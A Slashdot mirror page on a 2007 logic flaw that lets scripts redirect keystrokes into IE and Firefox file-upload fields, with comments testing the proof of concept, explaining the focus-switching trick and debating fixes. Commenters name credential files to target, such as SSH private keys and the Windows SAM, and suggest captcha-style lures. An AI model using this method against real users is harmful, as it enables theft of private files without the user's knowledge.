Slashdot Mirror


IE and Firefox Share a Vulnerability

hcmtnbiker writes with news of a logic flaw shared by IE 7 and Firefox 2.0. IE 5.01, IE 6, and Firefox 1.5.0.9 are also affected. The flaw was discovered by Michal Zalewski, and is easily demonstrated on IE7 and Firefox. The vulnerability is not platform-specific, but these demonstrations are — they work only on Windows systems. (Microsoft says that IE7 on Vista is not vulnerable.) From the vulnerability description: "In all modern browsers, form fields (used to upload user-specified files to a remote server) enjoy some added protection meant to prevent scripts from arbitrarily choosing local files to be sent, and automatically submitting the form without user knowledge. For example, '.value' parameter cannot be set or changed, and any changes to .type reset the contents of the field... [in this attack] the keyboard input in unrelated locations can be selectively geared toward input fields by the attacker."

154 of 207 comments (clear)

  1. Awww, that's so cute by varmint+jerky · · Score: 5, Funny

    Next thing you know they'll be coquettishly batting eyelashes at each other and accidently eating the same strand of spaghetti.

    1. Re:Awww, that's so cute by Anonymous Coward · · Score: 1, Funny

      IE is *so* the bitch of that couple.

    2. Re:Awww, that's so cute by mrbluze · · Score: 3, Insightful

      It's certainly romantic, kind of - a bit like a fake pic of Bush and Osama in bed together that was floating around a few years ago.. ewwww!



      Maybe the vulnerability they share is "that they both run in Windows".


      --
      Do it yourself, because no one else will do it yourself. [beta blockade 10-17 Feb]
    3. Re:Awww, that's so cute by Thexare+Blademoon · · Score: 1

      Yeah, strange thing about something being "funny" is that we each have our own opinions about it.

    4. Re:Awww, that's so cute by jcarlson · · Score: 1

      I tested this on Windows XP SP2 with an admin account, and even though I had a security update 3 days ago to Firefox 1.5.0.10, this exploit still works.

    5. Re:Awww, that's so cute by LordEd · · Score: 2, Informative

      Maybe the vulnerability they share is "that they both run in Windows".
      That's a bit unnecessary. TFS(summary) even says "The vulnerability is not platform-specific, but these demonstrations are -- they work only on Windows systems."

      Save the windows bashing for actual causes.
    6. Re:Awww, that's so cute by Qzukk · · Score: 1

      Actually, the firefox one "worked" on Linux, it just tried to upload C:\boot.ini which obviously didn't work.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    7. Re:Awww, that's so cute by beckerist · · Score: 1

      The firefox one does not work with adblock or noscript turned on. The vulnerability also DOES NOT work in Windows Vista (I just tried it).

    8. Re:Awww, that's so cute by x_MeRLiN_x · · Score: 1

      This proof of concept didn't work for me since although I run as an administrator user, my browsers/email clients are launched using a neat little tool from Microsoft called DropMyRights.

      Read more: http://msdn2.microsoft.com/en-us/library/ms972827. aspx

    9. Re:Awww, that's so cute by jtcm · · Score: 1, Troll
      From the DropMyRights link:

      Create a shortcut and enter DropMyRights.exe as the target executable, followed by the path to the application you want to execute in lower privilege. For example:

      C:\warez\dropmyrights.exe "c:\program files\internet explorer\iexplore.exe"

      For shame! What's that directory doing on a computer at Microsoft Security Engineering?

      --
      @ASP.NET's parent-teacher meeting: "Little Johnny.NET is very bright, but he doesn't play well with others."
    10. Re:Awww, that's so cute by binford2k · · Score: 1

      as I recall, vista doesn't have a boot.ini file ... so of course it couldn't be uploaded. Try making a dummy boot.ini with some random text in it and then try it again.

  2. Nope by The+Bungi · · Score: 3, Informative

    Not Firefox 1.5x under a non-admin account on XPSP2, though I admit that setup, while sane, is unfortunately not really common...

    1. Re:Nope by TheLink · · Score: 4, Interesting

      Well, in theory it's just for fishing a particular file with the filename that you type.

      I'm not too worried about it, because in my office I use Linux and I run WinXP in a virtual machine, in that VM I use a nonadmin account for normal stuff - viewing and priting Word or Excel docs, instant messaging, AND I use the Run As feature to launch browser windows as yet another different nonadmin account. On the Linux host itself, I run firefox as a different user from my main user account.

      So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

      I'd be more worried about Windows graphic driver exploits - graphics drivers seem a bit shoddy- plus they are all about performance, not security. And currently it's basically - Nvidia, ATI and Intel.

      I've had weird things happen with Linux sound though so I wonder about the security of such stuff. I've pretty much given up on getting Linux sound to work properly for sustained periods of time (this on suse 10.0, perhaps I should try 10.2).

      --
    2. Re:Nope by holdenholden · · Score: 1

      Didn't work for me. Maybe I should have set NoScript to "Allow Scripts (Globally)". Stupid me. As soon as I finish typing this, I will.

    3. Re:Nope by ArwynH · · Score: 2, Informative

      *Doh*

      I wonder how many other /.ers tried it, like I did and couldn't get it to work because they forgot to turn off NoScript...

    4. Re:Nope by Beryllium+Sphere(tm) · · Score: 1

      >So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

      If I'm reading this right, yes, with the added limitation that Firefox won't budge without a fully qualified path name, so you'd have to type a stream of characters that included a few backslashes.

      If I'm reading this right, you could combine it with some exploit that breaks the same-origin policy and steal text typed in elsewhere, but then if you've broken the same-origin policy you could do that anyway.

    5. Re:Nope by Anonymous Coward · · Score: 2, Interesting

      Isn't anyone using Google Mail? Just compose a new mail, and attach a file. Type in the file name, and Gmail will automatically upload it without you submitting anything. The "feature" has been there for ages, so frankly I'm puzzled why all the fuss now and not months ago?

      So now that this is a bug, it makes Gmail an exploit, which makes Google do evil.

      Boycott Google, Hail Microsoft! ..right?

    6. Re:Nope by acidrain · · Score: 1

      Ok then, can anyone name a file on my XP box that has a standard name that they could use a copy to do some damage with?

      Then I'll make an evil JavaScript version of typing tutor...

      Oh, and if were comparing notes I'm surfing as an administrator in XP using firefox, and my sound does work. And I disabled the ability to transfer money out of my account using my online banking.

      --
      -- http://thegirlorthecar.com funny dating game for guys
    7. Re:Nope by donaldm · · Score: 1

      Does not appear to work with Firefox 2.0.0.1 on Fedora Core 6. Still unless someone can prove that this affects me and I need to upgrade immediately I will upgrade this coming Friday as part of my normal update procedures.

      --
      There ain't no such thing as proprietary standards only proprietary formats. Standards are by definition open.
    8. Re:Nope by YeeHaW_Jelte · · Score: 1

      "So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?"

      No, someone using this exploit could grab any file on your filesystem that you have permissions to read. Interesting targets would be e.g. /etc/passwd, /etc/fstab, you name it.

      Common mistake made here: most of these exploits are pretty harmless by themselves ... it's the combination that hurts.

      --

      ---
      "The chances of a demonic possession spreading are remote -- relax."
    9. Re:Nope by hahiss · · Score: 1

      The test page only works with Windows because it is looking for a specific file, but the exploit is general:

      "Both examples [IE & Firefox] are Windows-specific, and require C:\BOOT.INI to exist and
      be readable by users. The attack itself is not limited to a particular
      operating system, but I decided to provide a demonstration for the most
      popular desktop OS - *nix versions that access /etc/hosts or /etc/passwd
      are easy to develop."

      --
      "Every decent man is ashamed of the government he lives under." - H.L. Mencken
    10. Re:Nope by inode_buddha · · Score: 1
      " So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

      I'd be more worried about Windows graphic driver exploits - graphics drivers seem a bit shoddy- plus they are all about performance, not security. And currently it's basically - Nvidia, ATI and Intel."

      Instant slashdot classic, just add warm flat beer with a touch of sarcasm. Kudos!

      --
      C|N>K
    11. Re:Nope by Maestro4k · · Score: 1

      Using Firefox 1.5.0.10 here and the demo's only semi-working. I typed what it said exactly and all it showed was "C:\bo". While it's not good that it managed to pick up any of it, working intermittantly like that isn't going to be doing any attackers any good. I wonder if the script's screwing up if you type too fast or something.

    12. Re:Nope by TheLink · · Score: 3, Insightful

      Someone using the exploit can only grab any file on your filesystem that the user account your browser runs as has permissions to read, which may be significantly restricted (I found that hard to do on Linux in the old days, but I guess nowadays it should be easier with better filesystem ACLs).

      If you use the same user account for work, ssh and browsing then you risk exposing stuff like:

      ~/.ssh/id_dsa
      ~/.ssh/id_rsa

      Which in some cases might be more interesting than /etc/fstab ;).

      --
    13. Re:Nope by cp.tar · · Score: 1

      Naq vs lbh znxr gur glcvat ghgbe ebg13 rirelguvat gur fhpx^U^U^U^Uhfre unf gb glcr, lbh'er nyy frg...

      --
      Ignore this signature. By order.
    14. Re:Nope by cp.tar · · Score: 1

      Oh, yes, with shadowing enabled (and who doesn't enable it?) they're going to have real fun with my /etc/passwd.

      --
      Ignore this signature. By order.
    15. Re:Nope by jonadab · · Score: 1

      > AND I use the Run As feature to launch browser windows as yet another different
      > nonadmin account. On the Linux host itself, I run firefox as a different user
      > from my main user account.

      These are very useful precautions from a security perspective. I wish operating systems included features to make it more convenient to do things this way.

      > I'd be more worried about Windows graphic driver exploits - graphics drivers seem
      > a bit shoddy- plus they are all about performance, not security. And currently
      > it's basically - Nvidia, ATI and Intel.

      You've been getting your information about graphics cards from gamers, obviously. Gamers like to think of themselves as knowing a lot about computer hardware, but mostly they just know a lot about reading benchmark graphs and playing games.

      *Good* graphics cards are made by Matrox.

      --
      Cut that out, or I will ship you to Norilsk in a box.
    16. Re:Nope by weicco · · Score: 1

      > These are very useful precautions from a security perspective. I wish operating systems included features to make it more convenient to do things this way.

      Windows Vista runs browser with limited user rights by default. Somebody (unfortunately I don't have Vista yet) should try this with Vista and report what files can be uploaded this way.

      But on the other hand, I couldn't get this thing to work with XP & IE7. Maybe I'm typing too fast. Also backspace messes the whole thing up. So in order this to work, malicious web page should say something like:

      Please enter following text to following textbox with typerate something like 2 key-strokes per sec.

      <insert 500 words of text here with many backslashes>

      <form ...
      <input type="file" ...
      <input type="textbox" ...

      --
      You don't know what you don't know.
    17. Re:Nope by ttldkns · · Score: 2, Informative

      Ahhh, but then they know valid account names on your box to start blasting with a dictionary. Imagine if you ran an SSH server where only users in a certian group could ssh in. Then grabbing /etc/group can tell you which usernames to focus on.

      --
      How many computers are too many?
    18. Re:Nope by hahiss · · Score: 1

      Yeah, that was my thought too. OTOH, having access to a shadowed /etc/passwd file would give hints as to what logins are valid; this could make brute forcing easier. (Of course, why bother when there's easy access to files on Windows?)

      --
      "Every decent man is ashamed of the government he lives under." - H.L. Mencken
    19. Re:Nope by joshetc · · Score: 1

      So basically your setup is more secure than most US government workstations?

    20. Re:Nope by daeg · · Score: 1

      But the exploit doesn't have to be like the demo exploit. It could be a simple comment form on a blog that only triggers if you happen to hit the right characters. With some better JavaScript handling, backspace wouldn't screw up, either.

    21. Re:Nope by bogado · · Score: 1

      Witch would be quite useless if you had used a passphrase on those keys... :-D

      --
      []'s Victor Bogado da Silva Lins

      ^[:wq

    22. Re:Nope by Phisbut · · Score: 2, Informative

      Interesting targets would be e.g. /etc/passwd

      Other than getting a full list of user names on my system, what does the /etc/passwd file contain that I don't want others to know? It's not like passwords are stored in there or anything...

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    23. Re:Nope by garaged · · Score: 1

      all the ones that use ff on windows i'd guess, at most, we linux users actually know a thing or two :)

      --
      I'm positive, don't belive me look at my karma
    24. Re:Nope by LordEd · · Score: 1

      Under this setup, does it work under IE?

    25. Re:Nope by moro_666 · · Score: 1

      it would be nice if google would ask for permission to upload the file.
      and it would be nice for mozilla to confirm "silent submit" with file inputs ....

      i was wondering on the same issue a few days ago, how can they protect this from happening, right now, they can't .... but mozilla should fix it.

      --

      I'd tell you the chances of this story being a dupe, but you wouldn't like it.
    26. Re:Nope by cp.tar · · Score: 1

      Well, that is true... OTOH, first they'd have to see which daemons are running (in my case, none, since I don't have any servers).
      Then they'd have to hope that the brute force attempts aren't discovered in time or the forced accounts automatically disabled after a certain number of attempts and that the attempts themselves aren't logged.

      All in all, that's quite a lot of hope.

      One of my computers has a guest account: login is username, password is password.
      There you go, attack it. Knock yourself out.

      --
      Ignore this signature. By order.
    27. Re:Nope by gkhan1 · · Score: 1

      In virtually all modern linux-systems, nothing really sensitive is stored in /etc/passwd, all the good stuff is in /etc/shadow (which is only readable by root). This is called shadowing. And by the way, you never store a password, you only store a salted hash of it.

      Run the command "cat /etc/shadow" and then run "sudo cat /etc/shadow" and watch the difference. So, unless you are running firefox as root (why, oh why, are you running firefox as root?!?!?!?) you'll be pretty safe.

    28. Re:Nope by Phisbut · · Score: 1

      In virtually all modern linux-systems, nothing really sensitive is stored in /etc/passwd, all the good stuff is in /etc/shadow

      I know all that, which is why I said that I don't know why I would fear exposing my /etc/passwd file.

      So, unless you are running firefox as root (why, oh why, are you running firefox as root?!?!?!?) you'll be pretty safe.

      Because I miss my good old days of running Windows with IE?

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    29. Re:Nope by Sloppy · · Score: 1

      So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

      Bookmarks? Who cares. Think credentials in general. Is your web browser set up to remember passwords? Great, now they can log in to websites as you. Or, as another poster mentioned, ssh keys.

      Maybe you don't have anything sensitive in your home directory, but lots of people do.

      I don't know why web browsers have gotten so complicated, but it looks like that's just how things are going to be, and it means they're going to have bugs. In the long run, since this type of software can't be trusted, it needs to be sandboxed.

      If anyone's looking for a project, that's it. Containing web browsers (and any other complex software that comes into contact with lots of potentially-hostile external data sources, such as some mailreaders) while still having them be usable, should be the next Big Thing.

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    30. Re:Nope by gkhan1 · · Score: 1

      I know all that, which is why I said that I don't know why I would fear exposing my /etc/passwd file.

      Ahh, I see, I misunderstood you :)

      Because I miss my good old days of running Windows with IE?

      Did any anyone else just hear the music from the shower scene from Psycho? Because I could have sworn that I feared for my own death as soon as I read that sentance :)

    31. Re:Nope by wkk2 · · Score: 1

      Keep the private key trapped in a smart card. At least this should contain problems to the local system.

  3. How it works by Anonymous Coward · · Score: 3, Insightful

    Is the way this works by attaching keydown/keyup events to the document object, and then switching focus to the file upload field in order to let the user fill in the upload? Ingenious :)

    So a browser would fix this by not allowing programmatic access to focus() for file uploads?

    It doesn't sound like this would be particularly exploitable because you'd need them to type the letters in the right order (with other arbitrary letters as padding between this). Getting someone to type something might prove easier though now due to the prevalence of Capchas.

    1. Re:How it works by amrust · · Score: 5, Insightful

      Getting someone to type something might prove easier though now due to the prevalence of Capchas.


      You took the words right out of my keyboard, no pun intended*.

      It won't affect my commenting on blogs or sites that I normally frequent. But after that demo, I admit I probably won't look at captchas the same way again.

      * OK maybe one quick pun.
      --
      VOTE!
    2. Re:How it works by KDR_11k · · Score: 1

      I'd prefer if browsers didn't allow access to focus() at all because I can't think of a good reason to use it vs. lots of bad ones. If I want to focus something I'll give it the focus myself.

      --
      Justice is the sheep getting arrested while an impartial judge declares the vote void.
    3. Re:How it works by ShieldW0lf · · Score: 2, Insightful

      The reason focus() exists is to allow you to send the cursor to the field that needs correcting when you're doing form validation. It would suck if it wasn't available.

      --
      -1 Uncomfortable Truth
    4. Re:How it works by Anomolous+Cowturd · · Score: 1

      Also handy for focusing on a particular element when the page loads. Such as the search input box on google.

      --
      Software patents delenda est.
    5. Re:How it works by mgiuca · · Score: 1

      It doesn't sound like this would be particularly exploitable because you'd need them to type the letters in the right order
      This is true, but say you put it on a website where people type a lot into a text box - such as a forum, or web mail, or ... AAAH! SLASHDOT!

      It turns out that some percentage of users will probably type the correct string just by chance (hence the reason why the sample page used that silly expression about cheese).

      Another way they could trick you into typing the letters in the correct order is to make a page saying they found a vulnerability in your browser, and to type the following into the box to "see this exploit in action", secretly stealing your file ;)

      Getting someone to type something might prove easier though now due to the prevalence of Capchas.
      True, although I'd be a little suspicious if I saw a page which said:

      "In order to prove you're human, please enter the following text into a box:
      C:\BOOT.INI"

      In all seriousness, note that if you comply with what the author had in mind, you'd actually be typing in arbitrary upper/lowercasing. This is less of a security risk on POSIX systems than Windows, because filenames are case sensitive.
    6. Re:How it works by mhall119 · · Score: 1

      So a browser would fix this by not allowing programmatic access to focus() for file uploads?


      Actually, the proper fix would be to have any focus() call from an keypress event process cancel the event processing by the browser. That way this script would just change the focus to the hidden file input, but the browser won't process the keypress event on that input. It makes logical sense, changing the keyboard focus should kill the keypress event.
      --
      http://www.mhall119.com
  4. Offtopic by KeepQuiet · · Score: 1, Offtopic

    Am I the only one who kinda freaks out every time he sees this 'bug' picture? Can't slashdot have a cuter bug image?

    1. Re:Offtopic by RuBLed · · Score: 1, Funny

      Easy, reply to this and type the words "I want a cute bug picture. Now. \."

    2. Re:Offtopic by Joebert · · Score: 1

      Don't complain, we might end up with a picture of a bleeding asshole, while cute to some of us, I don't think the rest of us would appreciate it.

      --
      Wanna fight ? Bend over, stick your head up your ass, and fight for air.
    3. Re:Offtopic by inode_buddha · · Score: 1

      I used to be that way until I figured out to stir-fry it with a pat of butter. Then coat liberally with some grated parmesan cheese and crushed garlic. Enjoy!

      --
      C|N>K
    4. Re:Offtopic by Dachannien · · Score: 1

      I see somebody was not a fan of Men in Black.

  5. Neither on 2.0.2 xpsp1 by aepervius · · Score: 1

    I could not make it work under such system either. Maybe it needs more ? Something which is not enabled on my firefox ?

    --
    C. Sagan : A demon haunted world:
    http://www.amazon.com/gp/product/0345409469/
    visit randi.org
    1. Re:Neither on 2.0.2 xpsp1 by nmb3000 · · Score: 1

      Neither on 2.0.2 xpsp1

      It does work in Firefox 2.0.2 on XP SP2 with standard options set.

      I think the problem some people are having may be that when you type too fast or hit extra keys like backspace or enter, the event misfires and doesn't catch the character. If you type exactly what it says without making any mistakes, it will work. You can tell if it's taking the keystrokes right by checking the box down below. It should start spelling out "C:\boot.ini" as you come across the first occurrence of each character. The IE implementation seems better at catching characters as they come in.

      You can test it easily by just slowly typing "C:\boot.ini" in the box.

      That said, this is one of the more interesting exploits I've seen. There are no "holes" per se, just an interesting use of forms and javascript, but not too much to worry about for most people I'd imagine. At least on Windows it's a little harder to fish for filenames because there isn't a shortcut for the user's home directory. On XP you'd need to type "C:\Documents and settings\%username%\My Documents\foo.txt" while I assume on Linux you can enter "~/foo.txt" in a form field it will work (?).

      Just one more reason not to keep your hidden stuff in ~/secrets.txt I guess.

      --
      "What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
      /)
    2. Re:Neither on 2.0.2 xpsp1 by Kalriath · · Score: 1

      The "~" character on XP is just a character in filenames. Example, Program Files is aliased for DOS programs as PROGRA~1. It's not usable as any form of special folder shortcut.

      --
      For a site about things like basic rights, Slashdot users sure do like to censor "dissent".
  6. Re:IE7 Vista by holloway · · Score: 2, Interesting

    Is it invulnerable because the file they happened to choose is restricted (c:\boot.ini) or because the browser is now smart enough not to give javascript focus to file upload fields?

    If so then it's still vulnerable because they'll release a patch to stop hackers from uploading user files, like those with predictable filenames. It seems wrong to say that IE+Vista aren't vulnerable when the IE bug still exists.

    (of course if IE7 prevents giving focus to the upload field then I'm wrong -- but I don't think that's the case. The same bug exists in IE7 on Vista)

  7. The real common vulnerability... by NotQuiteReal · · Score: 2, Funny
    Is 90% of those vulnerable are "regular users".

    For good or ill, I don't know many regular users, of course it is lonely at times...

    --
    This issue is a bit more complicated than you think.
    1. Re:The real common vulnerability... by jd · · Score: 1

      I think I met a regular user once. I'm not entirely sure, though, as they seemed rather odd.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    2. Re:The real common vulnerability... by LordEd · · Score: 1

      The TFA says the bug is not OS specific. Linux users aren't usually 'regular users'.

  8. Doesn't work with Firefox 2.0.0.1 on Windows XP by Anonymous Coward · · Score: 4, Informative

    I tried with a limited user account, but of course boot.ini can only be read by administrators. Then I tried with an administrator user, and still boot.ini wasn't shown. Fud?

    Also, there is no need to type all that jibberish about cheese. Just slowly type in:

    C:\boot.ini

    Type it too quick, and the javascript in the background won't be able to keep up with the rate of keystrokes you enter.

    1. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by Anonymous Coward · · Score: 1, Informative

      The gibberish about cheese is used to show that a file name is being extracted from a string that would otherwise be considered benign. FWIW: This does affect FF 2.0.0.2 on XP under my admin account.

    2. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by Ctrl-Z · · Score: 1

      Do you have a C:\boot.ini file?

      It worked for me (yikes!) with 2.0.0.2 on Windows 2003; I presume XP would be similar.

      --
      www.timcoleman.com is a total waste of your time. Never go there.
    3. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by SashaMan · · Score: 2, Informative

      You are missing the point. The demo program just uses boot.ini as an example, but the core problem of redirecting keystrokes to a file upload is the issue, because any file with a well-known location could be uploaded. You could write a simpler program yourself by just using two fields, a text box and a file input, and show how typing in the text box immediately appears in the file input.

    4. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by nmb3000 · · Score: 1
      I tried with a limited user account, but of course boot.ini can only be read by administrators.

      False. These are the defaults on XPSP2 and Win2003:

      C:\>cacls c:\boot.ini
      c:\boot.ini BUILTIN\Power Users:R
                      BUILTIN\Administrators:F
                      NT AUTHORITY\SYSTEM:F

      It works for anybody >= Power Users.

      Then I tried with an administrator user, and still boot.ini wasn't shown.

      It works for Administrators too.

      Fud?

      No. Full response.
      --
      "What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
      /)
    5. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by Tim+C · · Score: 1

      Works fine with an admin account on XP Pro SP2 and Firefox 2.0.0.2 and IE 7.

      Also, there is no need to type all that jibberish about cheese

      The gibberish is there to demonstrate pulling selected key presses out of the string that you type in. Getting someone to type a path to a file would be tricky; pulling a path out of a reasonably long message would be much, much easier (although getting enough slashes would seem to be unlikely...)

    6. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by Lemm · · Score: 1

      Very true. First time I tried it, it got as far as c:bo and stopped cos I was typing too fast. That wouldn't be any use at all.

      Mind you, the likelihood of people typing sufficiently slowly for this to catch the keystrokes is high enough to warrant this as a threat. However, that's only if the attacker knew the name of the file to look for. I guess to pull something from My Documents they just need the user to type in their Windows username (eg c:\Documents and settings\[username goes here]\My Documents - they could fill in the rest themselves), but then they'd have to append the document name, say, document1.doc to the end.

      If they don't know the filename, this attack is dead in the water. Why would someone enter the name of a document on their system just because some random webpage asks?

      I suppose a fix for this would be a warning prompt when a file is about to be sent. Any other suggestions? Is this solution too obtrusive?

      --
      No boom today. Boom tomorrow. Always boom tomorrow. BOOM!
    7. Re:Doesn't work with Firefox 2.0.0.1 on Windows XP by jrumney · · Score: 1

      Beware captcha's and other form fields where you're forced to type a specific word or phrase.

  9. Vulnerability doesn't work on Vista (Sort of) by Anonymous Coward · · Score: 2, Interesting

    Vulnerability kinda doesn't work using Firefox 2.0.0.2 and Internet Explorer 7 (Both 32 bit and 64 bit version) on Vista Business Retail.

    I had to create a Boot.ini file in my C: drive since Vista doesn't have it there anymore. IE7 and Firefox will be able to pull information out of the file if you have permissions to read the file but if you don't it won't work. This is probably why some people are reporting it doesn't work in Win XP with a user account. Only admin accounts are affected because the user accounts probably don't have read access for boot.ini.

    This means that the vulnerability won't be able to access any system files but it could potentially access sensitive data you have because you'd obviously have permissions to read those files (i.e. Word documents on your desktop).

    It seems that the person using this exploit would have to know the exact filename and path of the file he wants so this seems like a minor issue. The real risk is with system files because the directory and filenames for those will most likely be the same on most systems but those can't be read and I'm not sure what you'd do with the info anyway...

    1. Re:Vulnerability doesn't work on Vista (Sort of) by MichaelSmith · · Score: 1

      It seems that the person using this exploit would have to know the exact filename and path of the file he wants so this seems like a minor issue.

      Often when somebody prints out a document to distribute at a meeting they print the full path to the document in the footer of every page. This has always seemed like a bad idea to me.

    2. Re:Vulnerability doesn't work on Vista (Sort of) by funfail · · Score: 1

      Often when somebody prints out a document to distribute at a meeting they print the full path to the document
      If the document is already distributed, what is the point of an exploit to download it?
    3. Re:Vulnerability doesn't work on Vista (Sort of) by MichaelSmith · · Score: 1

      If the document is already distributed, what is the point of an exploit to download it?

      Maybe you want the meta information, or the letterhead, embedded macros or a later version.

  10. Try as I might... by oceanstream · · Score: 2, Interesting

    I cannot get this flaw to work in Firefox on Linux. I've gawked and re-written the code several times, created dummy text files that are mode 0666, to no avail. I think it could be exploitable only under the loosest of security profiles. Did I miss something from TFA that makes this windows-specific?

    1. Re:Try as I might... by gordgekko · · Score: 1

      Who modded this guy insightful? The summary says it's common to IE and Firefox running on Windows.

      --
      You want to know who isn't running Firefox 2.x? They spell it "definately" and "rediculous".
    2. Re:Try as I might... by nmb3000 · · Score: 3, Informative

      Did I miss something from TFA that makes this windows-specific?

      I think the presence of a C:\ might help.

      --
      "What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
      /)
    3. Re:Try as I might... by Anonymous Coward · · Score: 1, Insightful

      Hey dumbass! The summary also says:

      "The vulnerability is not platform-specific, but these demonstrations are -- they work only on Windows systems"

      So he took the demos and tried to re-implement them to work on Linux and he couldn't get them to do so.

  11. Sad realization by Anonymous Coward · · Score: 2, Funny

    So...Safari on the Mac is A-OK?

  12. Re:IE7 Vista by jasonwea · · Score: 2

    The test as it stands now is not valid for Vista as (afaik) it doesn't have boot.ini.

    From what TFA says though, protected mode protects IE on Vista.

  13. How does that even count? by Zapotek · · Score: 1

    Yes, because we all start typing "C:\repair\sam" the moment a website finishes loading...

  14. C:\ is my boot drive. by Grinin · · Score: 1

    Incidentally I'm lactose intolerant.

    I wonder how quickly this may become a real threat in the wild and how quickly the manufacturers can patch it...

  15. Perhaps... by abonstu · · Score: 1

    they both run on windows?

  16. Anyone else try Opera ? by Joebert · · Score: 2, Insightful

    I tried this on
    Windows XP
    As Administrator
    With No 3rd party anti-virus or anti-spyware protection whatsoever (total of 20 processes running including Opera)
    Opera 9.10
    All scripting enabled
    Checked the presense of boot.ini

    And while it did continue to a new page when I typed the phrase, that new page didn't have the contents of my boot.ini file.
    Just a message telling me what that page was about.

    --
    Wanna fight ? Bend over, stick your head up your ass, and fight for air.
    1. Re:Anyone else try Opera ? by KDR_11k · · Score: 2, Interesting

      When I try that the input field that's supposed to contain the filename just collapses to a 2 pixel wide line and nothing else happens.

      --
      Justice is the sheep getting arrested while an impartial judge declares the vote void.
    2. Re:Anyone else try Opera ? by d3bruts1d · · Score: 1

      I tried on the IE & Fx example pages using Opera 9.10 (86790) on Windows XP SP2.

      On both pages, the 2nd box collapsed into a 1-2px line. With the IE page, the text was not displayed in the box, rather a "space" was added for each key press. I could not delete the text. On the Fx test page, the text was typed in, but nothing happened. No redirect, no display of my boot.ini, nada.

    3. Re:Anyone else try Opera ? by wile_e_wonka · · Score: 1
      I'm running Opera 9.20, build 8713 on Windows XP. When I tried the IE version of the bug, the page automatically turned to:

      Below should be a copy of your C:\BOOT.INI file. If nothing is
      shown, chances are you don't have this file in the first place,
      your account has no permission to read that file, you didn't use
      a vulnerable browser, or I screwed something up.

      === RECEIVED DATA ===

      When I try the Firefox version, it just won't go on to the following page at all. Then I tried it in IE7 and Firefox to see what was supposed to happen. That didn't happen. (or, in other words, I apparently do have a boot.ini file, and I do have permission to access it)

      The author did speculate that Opera might not be vulnurable. However, the Firefox version did not work in IE7, and the IE7 version didn't work in Firefox, so can we really expect the IE7 and Firefox versions to work in Opera?
      So, perhaps Opera isn't vulnerable, or maybe it just needs an Opera-specific version for it to work, like Firefox and IE7 do.
  17. They already share a vulnarability... by TEMMiNK · · Score: 2, Insightful

    the user.

    --
    "The stupider people think you are, the more surprised they will be when you kill them..."
  18. Firefox 2.0.0.2 + IE6 by m-wielgo · · Score: 1

    The POC worked in both Firefox 2.0.0.2 and IE6 on Windows XP SP2. It worked as well typing various phrases besides what it told me to type.

    Below should be a copy of your C:\BOOT.INI file. If nothing is
    shown, chances are you don't have this file in the first place,
    your account has no permission to read that file, you didn't use
    a vulnerable browser, or I screwed something up.

    === RECEIVED DATA ===


    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)\WINDOW S
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Micro soft Windows XP Professional" /noexecute=optin /fastdetect

  19. Requires javascript by pedrop357 · · Score: 3, Informative

    I use Noscript to block javascript. The exploit didn't work until I allowed javascript for that site.

    New/unknown sites won't be able to do this, but my previously "trusted" ones will.

  20. Possible workaround by Mathinker · · Score: 1

    If you copy/paste the text, the Firefox demo doesn't work.... a possible workaround?

    The Firefox demo also is sensitive to the typing speed, for example, if you type "bnoot" instead of "boot" and you type the "n" very quickly after the "b" the demo tries to open the C:\bnoot.ini file instead.

  21. Yep I have a boot.ini by aepervius · · Score: 1

    I am trying to get it work but it does not at all... Weird.

    --
    C. Sagan : A demon haunted world:
    http://www.amazon.com/gp/product/0345409469/
    visit randi.org
    1. Re:Yep I have a boot.ini by iamhassi · · Score: 1

      "I am trying to get it work but it does not at all... Weird."

      yeah didn't work for me either on Firefox 2.0.0.2, XP SP2, logged in as admin. The text popped up saying "you should see your boot.ini file below. If you don't... maybe I screwed something up." and nothing was below it and I do have a boot.ini file on the c: root

      --
      my karma will be here long after I'm gone
  22. Re:IE7 Vista by evilgrug · · Score: 5, Informative

    It didn't protect IE on Vista for me. I created a dummy boot.ini and IE7 Vista happily spat it out.

  23. It could be worse. by jd · · Score: 1

    If they rewrote XRoach as a secure Java applet, then the cockroach would climb around the screen and hide behind windows until you squash it by clicking on it. Hmmm. Actually, that's not a bad idea - can someone on the Slash code development team add this?

    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
  24. Re:IE7 Vista by brainhum · · Score: 5, Insightful

    The latest Web 2.0 Captcha:

    C:\ W IN D O W S\ sys tem 32\config\S AM


    You heard it here first! /.

  25. Variation on an old bug by jesser · · Score: 4, Informative

    I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000 (bug 56236). It was even fixed on trunk in September 2005, but left unfixed on branch intentionally because we weren't confident we had the UI right.

    Zalewski's version is bug 370092, and he was unhappy when I marked it as a duplicate of bug 56236.

    --
    The shareholder is always right.
    1. Re:Variation on an old bug by slashdot.org · · Score: 1, Insightful

      I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000 (bug 56236)

      erm, maybe because this is a fairly serious bug that still remains unfixed???

    2. Re:Variation on an old bug by Kopretinka · · Score: 2, Insightful

      I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000...
      If it gets press, the fix might finally be released, perhaps?
      --
